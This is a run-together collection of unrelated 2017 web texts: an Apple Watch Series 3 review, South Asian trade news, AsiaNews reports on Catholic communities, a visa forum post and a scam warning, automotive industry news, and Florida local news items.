The biggest new feature entry on the Series 3 Watch is LTE. Though not yet available in India, since our beloved telecom carriers have not yet upgraded their systems to support eSIM, the new Watch LTE variant seems to be a hit abroad with claims of Apple being one of the biggest smartwatch retailer on the globe. As for India, the non-LTE variant carries the rest of the features from the international version. GPS, which was debuted in Series 2 was beneficial, but LTE makes it even better as you could simply leave back your iPhone at home when going for a run. You can also listen to music streamed directly from the iTunes store without the need of an iPhone paired in the vicinity  thanks to LTE.

Two other main highlights of the Series 3 Watch are power efficiency and altitude measurement. The Watch 3 has received a faster S3 dual core processor which is highly power efficient, thus helping reduce power consumption and strain on the battery life. The new processor is said to be 70 per cent faster than the older generation. A new W2 wireless chip also made its entry in the Series 3. This chip delivers better Wi-Fi and Bluetooth connectivity  we did notice that the Series 3 (in comparison to the older Series 2 Watch) does not randomly lose connectivity anymore. And yes, the altimeter now takes debut on the new guy. This sensor helps the user to now calculate the altitude or height which affects the way the watch can calculate your fitness. For example, if you climb a flight of spiral stairs, the Watch can now calculate the distance covered accordingly, which was an issue in the previous watch on which the distance would have not showed up.

Going deeper, the Watch Series 3 has a storage upgrade too. From the prior 8GB, a new 16GB internal room can hold a lot more of data and music so you can use the Watch paired with your BT earphones for a longer run or trek. The LTE band (Not valid in India) can also help with streaming music from the internet apart from receiving emails and messages from messengers. A direct internet connection also helps Siri respond faster.

Speaking of Siri, she has received a new update too. Siri now has a voice on the Watch which allows her to speak to you with better confidence. However, a few reviews and users online have claimed that usage of LTE tends to reduce the battery life marginally, but this is normal.

As for the rest of the specifications, Watch Series 3 has quite a lot of similarities with the predecessor. The display stays the same as 1.65-inches with AMOLED and a 390x312-pixel resolution, protected by a Sapphire glass. Bluetooth gets an upgrade from v4.0 to v4.2 and a barometer (sensor) comes alive.

Using the Watch 3 is almost similar to other Android smart watches out there. However, the experience is much more than what Android smartwatches can offer. You can use it as a fitness tracker, an iPod, a wallet (not in India as yet) and even a smartphone (LTE variant only) when using the iPhone in close vicinity. It seems almost like a miniature iPhone on your wrist, sans the camera. But it does not mean you can use it as a phone either. There are limitations  you cannot respond to emails or messages as easily as you can on your phone, and neither can you use it for extended periods for reading, nor watch videos. However, since it is an extension to your smartphone, it can do pretty much to get your work lighter.

What makes this particular segment of devices a pain is the battery life. The puny battery within the slim profile body can only last you around two days max, depending on the way you use it. Extensive use will drain your battery within the first day itself. However, with a better processor now on the Watch Series 3, you get the same battery life but with a few more features being driven. In our case, being away from all that fitness steam, we are more often busy running around and checking emails and messages than even getting enough time to run for a cup of coffee.

In our standard tests, we managed to obtain almost a whole of two days in battery life  this contained a mixture of usage that comprised of alerts for mails and messages, making casual quick calls, answering a few messages, checking out almost all alerts, messages and emails, and a few more. However, the battery life is still frustrating. You have to keep it for charging almost every night so that you are not left out with just an expensive fancy gadget on your wrist that only tells the time. Yes, when the batter power is minimal, the Watch switches to power saving mode and only displays the time.

Setting up the device is as good as childs play and once done, the usage is pretty seamless. All you need to do next is add the apps you would need and toggle the features and notifications that you will need or require on your wrist. Text can be enlarged for easy reading according to the users preference.

Apps need to be installed via the Watch app on the iPhone. Sadly, you cannot install much apps, not similar apps that run on the iPhone  most are basic for simply alerting you, controlling a few on your Phone or just plain notifications. What worked best for us is Siri, which made our life a bit easier. However, some times Siri can be a pain  for example, if your address book contains more than one contact with the same name or more than one number in the same contact, Siri asks for which one to connect to, but fails to accept our response. You have to keep trying with a complete command. Sending quick or very short messages is also bliss, but as usual, Siri and her contacts-recognising skills are not yet up to the mark.

The Apple Watch seems to be mainly aimed for those who are fitness freaks. Without doubt, Watch is presently one of the best fitness wearables money can buy. The Watch can help you set your goals each day to keep you fit at all times. It also pushes you to increase your goal, should it find out that you are reaching your goals with ease. This is one motivation that almost everyone can do with. Another good feature we liked in the fitness area is that the new upgraded app will also inform you how much more you need to walk or run to complete your daily goal. Apart from this, the heart rate monitor also alerts you when you seem stressed or over-relaxed.

Whats missing on the Watch are a few things here and there. Thanks to Apple for restricting the open source codes, app developers are limited to what they can do. We wish more watchfaces and apps show up since the watch seems to be asking for more apps.

All in all, the Apple Watch, no doubt, is one of the best smart wearables you can bet out there. It is a smart companion/buddy to your iPhone, a tethered device for your smartphone which helps you with your daily busy life. However, the main question is, do you really need an Apple Watch? Well, it would depend from person to person. While some may opt for just the showpiece on the wrist, people like us would think of it as beneficial for work, and fitness freaks would use it to their benefit. But to tap the entire potential of the device, you would rather opt for the LTE version to debut in India. Adding to that, you would also (optionally) have to spend on a wireless earphones if you want to leave your smartphone back at home when out on a run.

But all finally boils down to the price. It isnt cheap. The Apple Watch Series 3 is available in India in three variants. It starts at a price of Rs 29,900 for the 38mm model and Rs 31,900 for the 42mm Nike+ edition.

(Source)
The Maldives prez rushed into the agreement without following legal norms which created considerable anti-China sentiments among his people.

The people of Maldives and its business community are alarmed on the implications of the FTA and view it as an aggressive act by China to pursue its own agenda. (Photo: ANI)

Hong Kong: President Abdulla Yameen's rush to sign a Free Trade Agreement (FTA) with China during his recent visit to Beijing without following constitutional/legal norms has generated considerable anti-China sentiment in the Maldives.

The lopsided nature of the FTA, loaded as it is heavily in favour of the Chinese, would adversely impact on virtually every segment of Maldivian economy.

The people of Maldives and its business community are alarmed on the implications of the FTA and view it as an aggressive act by China to pursue its own agenda.

The opposition parties in Maldives and the business community attribute the deal also to President Yameen's underhand dealings in award of contracts to Chinese companies and an effort by Yameen and the China to protect the latter's investments in the Maldives.

There is no doubt that Yameen has rushed into signing the FTA, a document that has neither been thoroughly reviewed, nor feasibility studies done or discussions held with stakeholders.

According to sources within the Maldives government, there was pressure from China on signing of the FTA, the first by Maldives with any other country.

It appears that the Chinese embassy in Male had made it clear to the Maldives that in future all financial assistance to the country would be linked to the signing of the FTA.

A cursory study of the FTA document will be enough to understand that the FTA is Beijing driven, with little in it for Male.

The preamble of the document includes 'strengthening cooperation on jointly building the 21st century Maritime Silk Road', one of the key goals of the Chinese government under President Xi Jinping.

The FTA gives Maldives full market access in China for fish and fishery products, coconut, cotton seeds, processed cheese, eggs, soyabean, etc. at zero duty. In return, Maldives will open up to China its construction, tourism and travel, education, waste management, water management, insurance, traditional medicine, transport including maritime transport services.

The FTA is unlikely to boost Maldives exports to China, given its narrow export base.

However, the inclusion of trade in services, especially mode 3 (commercial presence) and mode 4 (movement of natural persons) would enable China to open tour and travel related representative offices in the Maldives, operate cruise/line-abroad tourist accommodation vessels with 40 bed capacity or more.

Opening of the tourism sector to the Chinese would result in loss to Maldivian tourism revenues apart from cutting employment opportunities for locals.

The FTA would further open the floodgates for Chinese imports adversely affecting Maldives' fragile balance of payments situation. In its entirety, the FTA would make Maldives an offshore hub for China.

The opposition parties in the Maldives have united in their opposition on the FTA. In this regard, they handed over (Dec 6, 2017) a signed letter to the Chinese Ambassador in Male Zhang Lizhong, where they expressed deep concern over the signing of FTA.

The opposition leaders highlighted that the Maldivian government followed unconstitutional and illegal process in the Parliament to approve the FTA and as such Members of Parliament of the opposition could not recognize the FTA in its current form.

The letter was signed by MDP Parliamentary Group (PG) leader Ibrahim Mohamed Solih, Abdulla Riyaz, Deputy PG leader of JP; Mohamed Musthafa, PG member of PPM (Gayoom faction) and Anara Naeem, PG leader of Adhaalat Party.

The FTA and similar other steps taken by the Abdulla Yameen government that has blatantly favoured China has generated anti-Chinese sentiments in the country. It is to be seen, as to how far the Yameen government is ready to play with local sentiments in his efforts to placate China.
Officials said that the two sides also agreed to support multi-currency direct financing of Pakistans central and local governments.

Under the LTP, signed by China and Pakistan, the key areas of cooperation, till 2030, include Financial Regulations, Connectivity, Energy, Trade and Industrial Parks, Agricultural Development and Poverty Alleviation, Tourism. (Photo: AP)

Islamabad: Pakistan is set to allow Chinese Yuan in cross border trade and project financing under the financial regulation agreed in the Long Term Plan (LTP), officials said.

Officials said that the two sides also agreed to support multi-currency direct financing of Pakistans central and local governments.

For ensuring better connectivity, it was agreed to put in place an integrated transport system which includes construction and development of road infrastructure from Kashgar to Gwadar and Karachi via Islamabad, Peshawar, Dera Ismail Khan, Quetta and Sohrab. The up-gradation and expansion of existing Railway line, development of Gwadar port is also part of the LTP connectivity plan, said an official.

He said Pakistan and China have agreed to strengthen financial regulations, under the China-Pakistan Economic Corridors LTP, and promote the use of Yuan and Rupee in the settlement instead of third party currencies.

Under the LTP, signed by China and Pakistan, the key areas of cooperation, till 2030, include Financial Regulations, Connectivity, Energy, Trade and Industrial Parks, Agricultural Development and Poverty Alleviation, Tourism.

CPEC projects are broadly divided into three phases, starting from the Short-Term Plan which is effective till 2020; Medium Term Plan will cover the projects till 2025 and Long-Term Plan which is valid until 2030.
The Hindu Jagran Manch is a far-right nationalist group linked to chief minister Yogi Adityanath. Young Catholics are reluctant to sing Christmas carols outdoors after the attack on seminarians and priests in Madhya Pradesh.

Lucknow (AsiaNews/Agencies)  A Hindu nationalist, group, the Hindu Jagran Manch (HJM), has warned Hindus not to celebrate Christmas in Catholic schools and not give gifts like toys because this can lure children to Christianity.

The HJM is a far-right Hindu nationalist group affiliated with the Hindu Yuva Vahini (HYV), a youth nationalist brigade created in 2002 by Yogi Adityanath, chief minister of Uttar Pradesh, a guru known for his criticism of Indian Christians and Mother Teresa.

The group says it is especially concerned about Catholic schools in Aligarh, the states third largest city.

According to media report, the HJM suspects that Christmas celebration in schools with many Hindu students is a step towards forced conversions. In view of this, it has said that it would stage protests outside the schools that do not heed its warning.

Sonu Savita, who heads the local HJM chapter, claims that Hindu students studying in Christian schools are "being asked to bring toys, gifts and celebrate Christmas". He claims that "this was an easy way to lure them to Christianity".

Conversely, S N Singh, director of Aligarh's Ingraham Institute, said, "No school forces any student to celebrate any particular festival."

In his view, the HJM's demand is unprecedented and "strange", noting that if they get any more warnings from the HJM, they would go to the local administration and ask for police protection during the Christmas period.

For Osmand Charles, a prominent Christian, the HJM statement has come as a shock for Christians in Aligarh. There is fear in the community, which is spreading insecurity among minorities.

The latter stems from the practice of ghar wapsi, literally back to home, by right-wing Hindu groups, by which the latter try to re-convert non-Hindus to Hinduism.

"We are shocked after the incident in Satna where a priest was arrested, a carol singing group was detained and their car was burnt. Now, our boys are also hesitant to go out for carol singing," Charles said.

Hindu nationalists and the chief minister are not new to anti-Christian intimidation. In 2014, Adityanath warned not to celebrate the birth of Christ outside of churches.

In April of this year, HYV members broke into a church in Dadhauli, Maharajganj district, and interrupted the ongoing religious function.

About 150 people were in the place of worship, including 10 American tourists. All the Christians, including Rev Yuhanna Adam, were later arrested by police on charges of forced conversions to Christianity.
The 17 witnesses of the faith were killed between 1954 and 1970 by Pathet Lao Communist guerrillas. A vigil of prayer and adoration preceded a thanksgiving Mass in Vientianes Church of the Sacred Heart. Laos has about 45,000 Catholics or 0.7 per cent of the population.

Vientiane (AsiaNews/EdA)  This year the Laotian Catholic Church marked the feast day of the 17 blessed martyrs of Laos, which brought immense joy to the countrys small Catholic community.

On Saturday, the faithful gathered in the capital for a thanksgiving Mass one year after the canonisation of the witnesses of faith and the elevation of Louis-Marie Ling Mangkhanekhoun to the cardinalate, making him the countrys first cardinal.

In preparation for the event, Catholics took part in a prayer vigil and the adoration of the Blessed Sacrament the day before.

On the day of the anniversary, Card Louis-Marie Ling Mangkhanekhoun celebrated the thanksgiving Mass at the Church of the Sacred Heart.

The countrys apostolic vicars were present, as were Mgr Olivier Schmitthaeusler, apostolic vicar to Phnom Penh (Cambodia), and Fr Roland Jacques, of the Oblate Missionaries of the Blessed Virgin Mary Immaculate (OMI), and vice-postulator of the cause of the martyrs.

The celebration was followed by the traditional ceremony of Baci su kwan in honour of the countrys new cardinal.

This latter is held on special occasions and involves tying strings around a persons wrist and has allowed representatives of the local Buddhist and Muslim communities to express their greetings to the cardinal.

Catholics are a small minority in Laos. They number around 45,000 or 0.7 per cent of the country's seven million people.

The situation of the Church in Laos remains delicate since the government exerts tight control over religions and does not have diplomatic relations with the Holy See.

The relations between Church and State are further strained at the local level. "Each region or city defines religious freedom in a different way," Card Mangkhanekhoun said in June.

The 17 martyrs were killed between 1954 and 1970 by the Pathet Lao. Of these, six were Laotian, whilst 10 were missionaries with the Society of Foreign Missions of Paris (Societe des Missions Etrangeres de Paris, MEP) and the Missionary Oblates of Mary Immaculate (OMI).

The list includes Fr Mario Borzaga OMI and catechist Paul Thoj. The two were killed by Communist guerrillas when they were very young  28 and 19 respectively  in 1960 as they visited Hmong villages.
by Michele Brambilla

The PIME regional superior runs the St Vincent Hospital in Dinajpur. The hospital "has a family touch that has become rooted over time. During the year, the superior general visited the mission. The PIME missionary met with Pope Francis in Dhaka.

Dinajpur (AsiaNews)  For Fr Michele Brambilla, PIME* regional superior in Bangladesh, the past year has been spent, as always, between the needs of the community of missionaries and the care of the sick. However, 2017 was also marked by an exceptional event, Pope Franciss visit to Dhaka, during which he brought the message of the universal Church to one of the "peripheries" of the Christian world.

The clergyman, who lives in Dinajpur, runs the St Vincent Hospital, the local diocesan medical facility where "I realise more and more of how, in addition to medical treatment, patients want people who are close to them, who make them feel at home."

On 2 December, he met the pope in the Holy Rosary church in Tejgaon, during the gathering reserved for the countrys consecrated Catholics. For him, the pontiff "came to this land of mission to confirm us in the faith." His Christmas letter follows:

Dearest friends,

as Holy Christmas approaches I decided to write to you to say a few things about myself. As you know, I have two major tasks in Bangladesh: I run the diocesan hospital and head the community of PIME missionaries.

In the hospital several people serve with me in various capacities, doing most of the work with the sick. I realise more and more of how, in addition to medical treatment, patients want people who are close to them, who make them feel at home.

I believe that our hospital, even though it is an institution, has a family touch that has become rooted over time, ever since Father Bonolo began to welcome some ill people and unaccompanied children in 1957 alone.

Perhaps even he would never have thought that it could become a hospital recognised by the government that continues to treat everyone, especially the poorest.

The very diverse PIME community experienced a special period during the visit of our Superior General who travelled to all the places where PIME missionaries are present and listened to each of them.

At the end of his visit, a three-day regional assembly was organised during which we shared pleasant and friendly moments.

However, the event that most touched each of us was the pope's visit. Once again, the Holy Father did what he preaches. He reached out to one of the peripheries of the Church, a land of mission, to confirm us in the faith.

I think that many of you saw the images on TV and I will not got into the details of what happened. For my part and that of many others, we are grateful to the pope for meeting us in the church of Tejgaon, Dhaka, and for his words and encouragement to continue our missionary work.

To each of you I send my best wishes for a Merry Christmas and a Happy New Year.

A big hug to everyone.

* Pontifical Institute for Foreign Missions
The two stressed the importance of the continued presence of Christians in the Middle East and of "the positive contributions [. . .] they bring to the societies of the region, of which they are an integral part.

Vatican City (AsiaNews)  The issue of Jerusalem was at the centre of the visit by King Abdullah II of Jordan to the Vatican, where he met first with Pope Francis and then with Cardinal Secretary of State Pietro Parolin, who was accompanied by Mgr Paul Gallagher, Secretary for Relations with States.

The cordial conversations focused above all on the theme of the promotion of peace and stability in the Mideast, said a statement by the Holy See Press Office.

[P]articular reference was made to the question of Jerusalem and the role of the Hashemite Sovereign as Custodian of the Holy Places. In this context, the commitment was renewed to encourage negotiations among the interested parties, as well as promoting inter-religious dialogue.

Finally, the importance of helping Christians remain in the Mideast was brought up, and the positive contributions that they bring to the societies of the region, of which they are an integral part.

I cannot but express my deep concern for the situation that has arisen in recent days, the pope said on 6 December after US President Donald Trump announced his decision to recognise Jerusalem as the capital of Israel.

At that time, the pontiff also issued a heartfelt appeal that everyones effort respect the status quo of the city, in conformity with the pertinent United Nations Resolutions.
A rigorous, gentle man of unshakable faith and great spirituality, the protagonist of Polish history under the communist regime. And it was he, it now seems certain, to indicate Cardinal Wojtyla as a possible successor to John Paul I.

Vatican City (AsiaNews) - The cause of beatification of Cardinal Stefan Wyszynski, of which today Pope Francis wanted to recognize the "heroic virtues", is an important step.

A strict man, gentle but unshakable, of great spirituality, for Poland the "Primate of the Millennium" is the man who knew how to defend the Church of his country during the period of communist persecution and who made it a living and powerful reality. "The soul of the nation". And it was he, it now seems certain, to indicate Cardinal Wojtyla as a possible successor to John Paul I.

Born in Zuzela (eastern Poland) in 1901, into a poor and numerous family, Wyszynski became a priest at the age of 23, in 1924. During the Nazi occupation, by order of his bishop and because of his weak state of health, he was forced to hide to avoid being interned in a concentration camp. In 1944, during the Warsaw uprising against the Germans, Fr. Wyszynski became a military chaplain.

In 1945, at the end of the war, Poland, which had six million victims - one fifth of the population - was handed over to the Soviet "influence". The Stalinist government aimed to eradicate Christianity from the country.

In 1946 he became bishop of Lublin and from 1948 of Gniezno (primatial see) and Warsaw, Wyszynski attempted the path of peaceful coexistence with the regime. An attitude that seemed to be successful, given that in 1950 there was an agreement by which the government recognized religious freedom. But immediately thereafter oppression against Catholic groups began.

The situation worsened - there were priests arrested and "disappeared" and the state closed or schools, hospitals and newspapers sequestered - to the point that in 1952 Wyszynski was prevented from going to Rome to receive his cardinals beret.

In 1953, the government promulgated a law that provided for state control over the appointment of bishops. The episcopate's response was very hard. The cardinal wrote a letter signed by all the bishops, which rejected the principle.

The government reacted by arresting the cardinal on September 25, 1953. For three years he was segregated but not bent. He meditated and prayed, even for his jailers. In his notes from the prison he wrote: "the fear of an apostle is the first ally of his enemies" and "the lack of courage is the beginning of defeat for a bishop".

He was freed as a result of the Poznan uprising of 1956. After the fall of Stalinist Boleslaw Bierut the government was led by Wladislaw Gomulka, father of "national communism". In a logic of internal pacification, he freed the cardinal who, for his part, pushed for conciliation. An attitude that aroused the hostility of a part of the Roman curia, so that when in 1957 Wyszynski could finally go to Rome, he was imposed some days of antechamber, before he could meet Pius XII.

Wyszynski died on May 28, 1981, fifteen days after the attack on John Paul II who, unable to go to celebrate the funeral, wrote a letter "to the Polish nation" also asking for a "profound national meditation. Mediate particularly on the figure of the unforgettable primate, Cardinal Stefan Wyszynski of venerated memory, his person, his teaching, his role in such a difficult period of our history". (FP)
One year after reunification, the city is safer, there is a climate of greater hope and optimism. Migration and unemployment remain a problem, especially among young people. The Church's help essential for the survival of over 10 thousand families. Attention to children and commitment to their schooling.

Aleppo (AsiaNews) - Peace in all of Syria, the fight against unemployment that is impeding the (slow) recovery and the reunification of the many war-torn families, which in over six years of violence has transformed millions of people into migrants in search of shelter abroad or internally displaced persons. These are the two great desires that animate the Christian population of Aleppo in these weeks of Advent preparing for Christmas, according to the Apostolic Vicar of the Latins Msgr. Georges Abou Khazen. One year after the end of the battle for the city "there is a climate of greater hope", he adds, and "there is also much more security. All this leads to moderate optimism, so that we can reach a solution that involves the whole country".

Migration "remains a problem", underlines the Apostolic Vicar of Aleppo, also because "mainly the young people have gone" and their return is a "priority" to restart the city. Meanwhile, the local Church, the prelate continues, has started or supports with specific funds "micro-enterprise projects at local level: now our challenge is to move from subsidy to self-sufficiency".

Hence the allocation of sums of money for the opening of patisseries, barber shops, carpenters, artisans and blacksmiths because "it is from the small daily activities that we have to start again". "The return of electricity for 13, 14 hours a day, together with the constant supply of water - underlines Msgr. Georges - are the most important signs of rebirth ".

Now it is possible to go back to see "a clean city" in some points and "streets lit with solar panels". From darkness to light, adds the bishop, "it's a new sensation, including street lighting at night".

Before the war Aleppo was the second most important city in Syria, as well as its main economic and commercial engine. Since 2012 it has been divided into two sectors: Western, where 1.2 million people have lived under government control; the eastern part, with about 250 thousand people, in the hands of rebel militias and jihadist groups. The surrender of the rebels, their brokered exit from the city, and the subsequent reunification date back to December last year; the population was able to celebrate the end of the fighting just before Christmas with song and dance.

After a year the work of removing the rubble started, the roads are cleaner, the traffic has increased, some workshops have reopened. "Something is moving", says Msgr. Georges, even if "many people are left without work, there are many war or abandoned orphans we have discovered in the months following the unification of the city". One of the great obstacles to the recovery of Aleppo "is unemployment: the machinery and tools that were lost or stolen during the war years must be repaired, the houses must be put in order to allow the return of the refugees".

The local Church participates in the reconstruction of buildings, supports the small business, continues the distribution of food parcels. "Almost all families - says the prelate - still depend on our aid: about 10,500 Christian groups of all confessions. And then there is health care and the distribution of medicines, also a priority in the context of a devaluation of the local currency, the lira, its buying power is much lower although the average salary is unchanged and so no longer enough ".

Meanwhile, the community is approaching Christmas [click here for the video] with "much more hope, more security, with the hope that the war can end soon. The streets are festively decorated, a town hall led by a Muslim majority has wanted to put banners and symbols of the Christian festival. And again, the churches decorated with the cribs, the plays put on by the young people. The bishop confirms: The atmosphere is different to the past years".

In these final days of preparation for the feast, the Apostolic Vicar of Aleppo wants to address a final thought to the children, who represent "the future and the hope" of the Christian community and of the whole country. "As a Church we have prepared some gifts to be distributed, along with clothes that can be used throughout the winter. Added to this are group lunches on Christmas Day and the following day; an opportunity to be together, to celebrate, with songs and dances. But beyond the celebrations - concludes the prelate - there is the commitment for their schooling: to date we pay the entire fee of 3200 students, in institutions, mostly private, up to $ 150 per year, also distributing books and notebooks to the poorest, but most deserving students". (DS)
by Li Yuan

The bishop, recognised by the Vatican but not by government, has been in the hands of the police for seven months. He is convalescing from an operation, but watched by security forces, 2,500 km from his diocese. To be recognised by the government, he must join an independent Church (not under the Holy See), accept the self-appointment and self-ordination of bishops, concelebrate with an unlawful bishop, and obey new regulations. The faithful will pray and fast on the 18th of every month.

Wenzhou (AsiaNews)  Wenzhou diocese in eastern Zhejiang province has begun a monthly prayer campaign on 18 December to prayer for their bishop, Peter Shao Zhumin, who is currently under house arrest in Xining city of northwestern Qinghai province, some 2,500 km away.

The underground bishop who is not recognized by the government has been taken away from his diocese the fourth time since he succeeded late Bishop Vincent Zhu Weifang as the ordinary bishop of the diocese in September 2016.

His latest detention began on May 18. He re-surfaced at Beijing Tongren Hospital for an ear surgery on 11 September. He left a message and a photo of himself on his Wechat account asking his faith to pray for him but not to visit him.

About a week before the opening of the 19th National Congress of the Communist Party of China in October, Bishop Shao was taken away from Beijing to Xining and has been staying with a Catholic family there since then, according to a faithful in Wenzhou.

He was not allowed to go back to the diocese. Since he needs six months for recuperation, the diocese negotiated with the authorities to let Bishop Shao stay at a laymans family from Wenzhou so that he could get good care. Meanwhile, some security and religious officials from Wenzhou also stationed in Xining to monitor him, the layman, Paulus, told AsiaNews in October.

In early December, some religious officials have asked Bishop Shao to sign a paper listed with four conditions for him to get government recognition. They include demanding him to support an independent Church principle, support self-election and self-ordination of Chinese bishops, concelebrate a Mass with an illicit bishop not recognized by the Vatican, and to abide to the new religious regulations that comes into effect next February, a diocesan source told AsiaNews.

Its like going back to the time in the 1980s. The bishop declined to sign it, said the diocesan source, adding that Bishop Shao has been away for seven months already. The prospect for his freedom does not seem good. Everyone in the diocese is worry so we initiate a prayer campaign at the start of the new liturgical year.

Praying is the duty for every Catholics and the prayer campaign is voluntary. We are not exerting pressure on the authority but just hope that our bishop could come back safely through our fasting and prayers, he said.

All the parishes of the underground community in Wenzhou held the prayer service in their own venues on 18 December along with a day of fast. The prayer service will continue to be hold on the 18th of each month with Adoration of the Blessed Sacraments and a Mass.
Information provided



Thanks for the reply. We have the receipts for the Police checks and the Health check.



We have uploaded these onto the Immi account. Do we now need to click the button saying information provided? under [when you have provided the requested documents please click the below to notify the department] or do we need to wait until we get the police checks and health check back?



Just wondering if its ok to notify them even though its just the receipts?



Regards,

Daniel
DO NOT DEAL WITH GOLDMAN PINTEX MANAGEMENT PTY LTDConsumers are being warned not to deal with aManagement Pty Ltd, Minister for Better Regulation Matt Kean announced today.Mr Kean said the warning also applied to the company's sole director and shareholder, Yoon Seok "Joseph" Choi.He said the company, trading as Goldman Pintex Migration, targets consumers seeking a Temporary Work Visa (subclass 457)."NSW Fair Trading has received 11 complaints about the company since it registered with the Australian Securities & Investments Commission in September 2016," Mr Kean said."Choi and his associates claim they will find a business sponsor for clients and lodge a work visa application with the Department of Immigration and Border Protection."This is in exchange for a hefty fee of up to $60,000, which is to be paid in installments by the consumer."In a number of cases, where an application was denied, the trader failed to refund installments already paid, leaving some consumers out of pocket by as much as $30,000."As if that wasn't disgraceful enough, some consumers who persisted in trying to get their money back were met with abuse, threats and insults from Goldman Pintex staff."Kang is on conditional bail awaiting a District Court appeal against his sentence and conviction."Kang was accused of running a similar dodgy visa racket, and Fair Trading believes he is involved in this one as well. Investigators have been told he is advising Goldman Pintex clients and accessing the company's bank accounts," Mr Kean said.Fair Trading's investigation is ongoing. To lodge a complaint or for more information, visit NSW Fair Trading - home or phone 13 32 20.
Photo of 2019 X2 courtesy of BMW.

BMW's 2019 X2 will be powered by a TwinPower turbocharged 2.0-liter four-cylinder engine paired with an eight-speed transmission to propel BMW's new luxury crossover, the company announced.

BMW provided full details about its 2019 X2 ahead of the vehicle's launch at the North American International Auto Show in Detroit in January. The vehicle will go on sale in the spring. Pricing will be announced closer to that time.

The vehicle is based on BMW's X1 crossover, and arrives as a more compact package. It will be 3.2 inches shorter (172.2 inches) with the same wheelbase (105.1 inches). Both vehicles seat five adults.

The 2019 X2's engine will make 228 horsepower and 258 lb.-ft. of torque. It will offer standard full LED headlights and taillights. An M Sport X package will feature a sport automatic transmission and 20-inch wheels.

The X2's standard all-wheel drive xDrive system will include hill descent control.

The luxury crossover will offer an optional Driving Assistance Package that includes lane departure warning, speed limit info, automatic high beams, as well as frontal collision warning and pedestrian warning with automatic braking.

The optional ACC Stop & Go + Active Driving Assistant can maintain a desired speed between 19 and 87 mph at a pre-set distance from the vehicles ahead. Driver assistance features include Park Distance Control, a rear-view camera, and Parking Assistant for parallel parking spaces.

The vehicle will make its global debut at the North American International Auto Show in Detroit on Jan. 15.
Photo courtesy of the European Automobile Manufacturers Association.

Commercial vehicle registration in the European Union showed a 4% improvement year-to-date compared to what was reported last year, and was bolstered by an increase in van registration, the European Automobile Manufacturers Association (ACEA) said.

Spain, France, and Germany recorded the highest commercial vehicle registration gains this year which are among the five big markets in the EU, according to the ACEA. Spain grew by 15.1%, France gained 7.7% growth so far this year, and Germany grew by 3.3%. Meanwhile, the United Kingdom showed a 3.9% decrease compared to last year. Meanwhile, comparing October 2017 data to the same time last year showed an overall 4% growth in the segement compared to last year.

More than 1.6 million new vans were registered in the EU from the start of the year up to October 2017, which was a 4.8% improvement compared to the same time last year, according to the ACEA. Spain, France, and Germany continued to lead the way by gains in 17.2%, 8.3%, and 5.1%, respectively. The United Kingdom showed declines of 3.5% in this segment. When looking at October alone, the segment showed a 12.7% increase compared to 2016 data.

In the new registration for the medium- to heavy-duty commercial vehicle segment, registration for the year was stable when compared to last year. Countries in the EU that showed significant commercial vehicle registration growth were Italy (10.7%) and France (5.8%). Vehicle registration for this segment in October 2017 alone showed a 3.9% growth compared to the same time last year.

Finally, registration for heavy commercial vehicles was also stable for the year, which was bolstered by Italy (1.7%) and France (6.0%). For the segment, October 2017 data showed a 5.3% improvement over registrations during the same time last year.
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The Pasco County Sheriff's Office is investigating the shooting of a 10-year-old boy.

Shooting happened Monday in Dade City

Sheriff's Office says it appears accidental

Boy was alert, talking; taken to hospital



The incident occurred just before 3 p.m. Monday in Dade City.

Authorities said the boy was shot in the head in the 38800 block of Old Sparkman Road.

It appears the shooting was accidental, according to investigators.

Two children, a 9-year-old and the 10-year-old, were left unattended in the home and were playing with a gun when it went off.

Neighbor Amairani Luna told us both boys came to her home right after the shooting looking for help.

"I seen, like, a little hole on his right cheek and then on the back," Luna said. "It was actually bleeding through his ear, too, so it was his ear and the back of his head."



Luna went on to say the 10 year old was surprisingly calm, and stood next to his 9-year-old brother while she called 911 and another neighbor helped by apply pressure to the boy's wound.

"The brother that was not shot, he was ok," Luna explained. "He was a little scared but he didn't know how to answer us. And the kid who was shot, he was just like this and he was saying that he got shot."

Authorities said the boys had been home alone playing with a gun when it went off. It's still unclear who pulled the trigger.

"I just want to know how it happened," Luna said. "How did they get the gun? How did they know where it was?"

The boy was taken as a trauma alert to a local hospital, but he was alert and talking. For her part, Luna said she's just glad the boy she's watched grow up is still alive.

"I'm a little shaky right now, but I just want him to be ok, and I want his parents to be ok, too, because I'm sure it's harder for them than me."


The Seminole Heights area, still recovering after an alleged killer was on the loose for weeks, is dealing with another problem: Business burglaries.

Incidents occurred Saturday on North Nebraska Avenue

Surveillance video captures suspect

Below: Watch surveillance video, or click here



Ella's Cafe and Martha's Place, both on North Nebraska Avenue, were victimized on Dec. 16 in the early-morning hours.

The owner of Martha's Place said he recently installed security cameras as an extra layer of protection while police searched for the Seminole Heights killer. Those cameras were able to capture a clear image of a man who broke into the business over the weekend.

In the video, a man walks into the business and heads behind the cash register. As he's walking away, the camera zooms in on his face. He is described as being in his late 30s and was last seen wearing a hat, gloves and bright blue hoodie.

Tampa police believe the same man also burglarized Ella's Cafe that night.

Many shops and restaurants in Seminole Heights took big hits when police were searching for a serial killer.

The owner of Martha's Place says he does still feel safe here and is just happy that his cameras got a good look at the burglar.

"He walked in, opened the cash register, he couldn't find anything and left, said owner Nashaat Malak. Thank God nobody was hurt and nobody was here."

Anyone with information is asked to call Tampa police.


After nearly a year of renovations, the Hall of Presidents will finally reopen Tuesday at Disney's Magic Kingdom and, yes, President Donald Trump will speak.

Or at least his animatronic will.

Disney says Imagineers updated the show's content with the latest in theatrical design and animatronic technology, including upgraded projection, sound and lighting.

Trump also recorded remarks exclusively for the Hall of Presidents, something every sitting president has done since the 1990s. Disney says the new animatronic of Trump will have smoother, more lifelike movements.

For months, critics petitioned Disney to either no include Trump in the Hall of Presidents, or break with tradition and have a silent animatronic Trump.

But last June, a Disney spokesperson told Spectrum News 13 that Trump would have a speaking role.

In May, Disney CEO Bob Iger said a script had been written for the president.

Originally, the Walt Disney World website said the attraction would be closed through June.

Park officials said the delay had to do with other changes in the attraction, including the upgraded theater.

VIDEO: Here's a preview of President Trump's speech in Disney's Hall of Presidents https://t.co/ZBSblSarJO pic.twitter.com/Wy01ONm19H  News 13 (@MyNews13) December 18, 2017

CHECK OUT ATTRACTIONS INSIDER: Your all-in-one source for news, pictures and video from Floridas theme parks. Just go to our Attractions Insider page. Sign up to get breaking theme park news alerts and subscribe to our newsletter, Theme Park Roundup, delivered to your inbox or mobile phone.
Watch for areas of thick fog again for your Wednesday morning. Visibility will be greatly reduced in many areas making for slow commutes.

Lows on Wednesday in 60s, with high near 80



